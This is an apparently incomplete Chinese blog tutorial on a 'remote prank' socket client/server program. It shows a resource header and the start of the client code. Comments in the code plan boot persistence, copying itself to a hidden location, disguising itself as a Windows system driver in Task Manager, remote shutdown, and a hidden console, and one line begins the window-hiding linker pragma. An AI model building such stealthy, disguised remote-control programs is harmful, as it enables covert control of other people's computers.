提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
远程恶搞
前言
提示:这里可以添加本文要记录的大概内容:
远程恶搞原理:
分为服务器端和客户端,运行服务器端后,运行客户端可以连接服务器端,当前采取的是服务器端创建一个套接字和端口号,类似于战争时期的那个电报,客户端连接服务器端创建的,从而实现一个简单的远程通讯。
提示:以下是本篇文章正文内容,下面案例可供参考
一、服务器端和客户端分别是什么是什么?
服务器端:类似于一个服务器,就像你打的游戏一样,你和你的队友实现连接其实就是你俩连接在了同一类服务器端,从而共享和交换了游戏数据,部分游戏外挂也是根据这个原理开发的。
客户端:你和你的队友和对手在登录游戏时连接的都是对应的游戏的服务器,从而实现联网游戏。
二、使用步骤
1.引入库
往后看你会发现服务器端和客户端的基础头尾都是一样的:
/*客户端新建一个头文件,把这个写进去,然后引用这个头文件*/
//{
{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 远程控制client.rc 使用
//
#define IDR_WAVE1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
2.读入数据
代码如下(示例):
先上客户端代码:
#include <stdio.h>
#include "resource.h"
#include <winsock2.h> //套接字头文件
#include <mmsystem.h>
#pragma comment(lib,"ws2_32.lib") //库文件
#pragma comment(lib,"winmm.lib")
//关机 开机自启
//删除 拷贝一份随便找一个地方
//任务管理器 表白程序.exe --> windows system32 网络核心驱动组件
//隐藏控制台的代码 点击完了啥也看不到。
#pragma comment( linker, "/subsystem:\"windows\" /entry:\